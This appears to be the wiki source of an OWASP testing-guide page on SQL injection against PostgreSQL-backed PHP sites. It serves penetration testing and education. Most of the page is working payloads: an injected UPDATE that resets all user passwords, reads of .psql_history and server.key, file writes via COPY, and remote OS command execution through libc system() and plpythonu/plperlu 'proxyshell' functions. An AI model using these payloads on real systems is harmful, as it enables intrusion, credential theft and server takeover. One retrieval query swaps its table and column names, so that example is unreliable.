View source for OWASP Backend Security Project Testing PostgreSQL

= Overview =

In this paragraph, some SQL Injection techniques for PostgreSQL will be discussed.
Keep in mind the following peculiarities:

* PHP Connector allows multiple statements to be executed by using ''';''' as a statement separator
* SQL Statements can be truncated by appending the comment char: '''--'''.
* ''LIMIT'' and ''OFFSET'' can be used in a ''SELECT'' statement to retrieve a portion of the result set generated by the ''query''

From here after, we assume that ''<nowiki>http://www.example.com/news.php?id=1</nowiki>'' is vulnerable to SQL Injection attacks.

= Description =

== Identifing PostgreSQL ==

When an SQL Injection has been found, you need to carefully 
fingerprint the backend database engine. You can determine that the backend database engine
is PostgreSQL by using the ''::'' cast operator.

'''Examples:'''
  <nowiki>http://www.example.com/store.php?id=1 AND 1::int=1</nowiki>

The function version() can be used to grab the PostgreSQL banner. This will also show the underlying operating system type and version.

'''Example''':

  <nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT NULL,version(),NULL LIMIT 1 OFFSET 1--</nowiki>
        PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)

== Blind Injection ==

For blind SQL injection attacks, you should take in consideration the following built-in functions:

* String Length
*: ''LENGTH(str)''
* Extract a substring from a given string
*: ''SUBSTR(str,index,offset)''
* String representation with no single quotes
*: ''CHR(104)||CHR(101)||CHR(108)||CHR(108)||CHR(111)''

Starting from 8.2 PostgreSQL has introduced a built-in function, ''pg_sleep(n)'', to make the current
session process sleep for ''n'' seconds. 

In previous version, you can easyly create a custom ''pg_sleep(n)'' by using libc:
* CREATE function pg_sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' LANGUAGE 'C' STRICT

== Single Quote unescape ==

Strings can be encoded, to prevent single quotes escaping, by using chr() function.

   * chr(n): Returns the character whose ascii value corresponds to the number n
   * ascii(n): Returns the ascii value corresponds to the character n

Let's say you want to encode the string 'root':
   select ascii('r')
   114
   select ascii('o')
   111
   select ascii('t')
   116

We can encode 'root' as: 
  chr(114)||chr(111)||chr(111)||chr(116)

'''Example:''' 
   <nowiki>http://www.example.com/store.php?id=1; UPDATE users SET PASSWORD=chr(114)||chr(111)||chr(111)||chr(116)--</nowiki>

== Attack Vectors ==

=== Current User ===

The identity of the current user can be retrieved with the following SQL SELECT statements:

  SELECT user
  SELECT current_user
  SELECT session_user
  SELECT usename FROM pg_user
  SELECT getpgusername()

'''Examples:'''
  <nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT user,NULL,NULL--</nowiki>
  <nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT current_user, NULL, NULL--</nowiki>

=== Current Database ===

The built-in function current_database() returns the current database name.

'''Example''':

  <nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT current_database(),NULL,NULL--</nowiki>

=== Reading from a file ===

ProstgreSQL provides two ways to access a local file:
* COPY statement
* pg_read_file() internal function (starting from PostgreSQL 8.1)

'''COPY:'''

This operator copies data between a file and a table. The PostgreSQL engine accesses the local file system as the ''postgres'' user.

'''Example:'''

  <nowiki>
/store.php?id=1; CREATE TABLE file_store(id serial, data text)--
/store.php?id=1; COPY file_store(data) FROM '/var/lib/postgresql/.psql_history'--
</nowiki>

Data should be retrieved by performing a ''UNION Query SQL Injection'':
* retrieves number of rows previously added in ''file_store'' with ''COPY'' statement
* retrieve a row at time with UNION SQL Injection

'''Example:'''
 <nowiki>
/store.php?id=1 UNION ALL SELECT NULL, NULL, max(id)::text FROM file_store LIMIT 1 OFFSET 1;--
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 1;--
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 2;--
...
...
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 11;--
</nowiki>

'''pg_read_file():'''

This function was introduced in ''PostgreSQL 8.1'' and allows one to read arbitrary files located inside
DBMS data directory.

'''Examples:'''

* <nowiki>SELECT pg_read_file('server.key',0,1000); </nowiki>

=== Writing to a file ===

By reverting the COPY statement, we can write to the local file system with the ''postgres'' user rights

 <nowiki>
/store.php?id=1; COPY file_store(data) TO '/var/lib/postgresql/copy_output'--
</nowiki>

=== Shell Injection ===

PostgreSQL provides a mechanism to add custom function,s by using both Dynamic Library and scripting
languages such as python, perl, and tcl.

==== Dynamic Library ====

Until PostgreSQL 8.1, it was possible to add a custom function linked with ''libc'':
* CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT

Since ''system'' returns an ''int'' how we can fetch results from ''system'' stdout?

Here's a little trick:

* create a ''stdout'' table
*: ''CREATE TABLE stdout(id serial, system_out text)''
* executing a shell command redirecting its ''stdout''
*: ''SELECT system('uname -a > /tmp/test')''
* use a ''COPY'' statements to push output of previous command in ''stdout'' table
*: ''COPY stdout(system_out) FROM '/tmp/test'''
* retrieve output from ''stdout''
*: ''SELECT system_out FROM stdout''

''' Example:'''

 <nowiki> 
/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) -- 

/store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C'
STRICT --

/store.php?id=1; SELECT system('uname -a > /tmp/test') --

/store.php?id=1; COPY stdout(system_out) FROM '/tmp/test' --

/store.php?id=1 UNION ALL SELECT NULL,(SELECT stdout FROM system_out ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--

</nowiki>

==== plpython ====

PL/Python allow to code PostgreSQL functions in python. It's untrusted so there is no way to restrict
what user can do. It's not installed by default and can be enabled on a given database by ''CREATELANG''

* Check if PL/Python has been enabled on some databsae:
*: ''SELECT count(*) FROM pg_language WHERE lanname='plpythonu'
* If not, try to enable:
*: ''CREATE LANGUAGE plpythonu''
* If all of the above succeeded, create a proxy shell function:
*: ''CREATE FUNCTION proxyshell(text) RETURNS text AS 'import os; return os.popen(args[0]).read() 'LANGUAGE plpythonu''
* Have fun with:
*: SELECT proxyshell(''os command'');

'''Example:'''

*Create a proxy shell function:
*:''<nowiki>/store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS ‘import os; 
return os.popen(args[0]).read()’ LANGUAGE plpythonu;-- </nowiki>''

*Run an OS Command:
*:''<nowiki>/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--</nowiki>''

==== plperl ====

Plperl allows us to code PostgreSQL functions in perl. Normally, it is installed as a trusted language in order to disable runtime execution of operations that interact with underlying operating system, such as ''open''. By doing so, it's impossible to gain OS-level access. To successfully inject a proxyshell like function, we need to install the untrusted version from the ''postgres'' user, to avoid the so called application mask filtering of trusted/untrusted operations.

* Check if PL/perl-untrusted has been enabled:
*: ''SELECT count(*) FROM pg_language WHERE lanname='plperlu'
* If not, assuming that sysadm has already installed the plperl package, try :
*: ''CREATE LANGUAGE plperlu''
* If all of the above succeeded, create a proxy shell function:
*: ''CREATE FUNCTION proxyshell(text) RETURNS text AS 'open(FD,"$_[0] |");return join("",<FD>);' LANGUAGE plperlu''
* Have fun with:
*: SELECT proxyshell(''os command'');

'''Example:'''

*Create a proxy shell function:
*:''<nowiki>/store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS 'open(FD,"$_[0] |");return join("",<FD>);' LANGUAGE plperlu;</nowiki>

*Run an OS Command:
*:''<nowiki>/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--</nowiki>''

= References =

OWASP : "[[Testing for SQL Injection]]"

Michael Daw : "SQL Injection Cheat Sheet" - http://michaeldaw.org/sql-injection-cheat-sheet/

PostgreSQL : "Official Documentation" - http://www.postgresql.org/docs/

Bernardo Damele and Daniele Bellucci: sqlmap, a blind SQL injection tool - http://sqlmap.sourceforge.net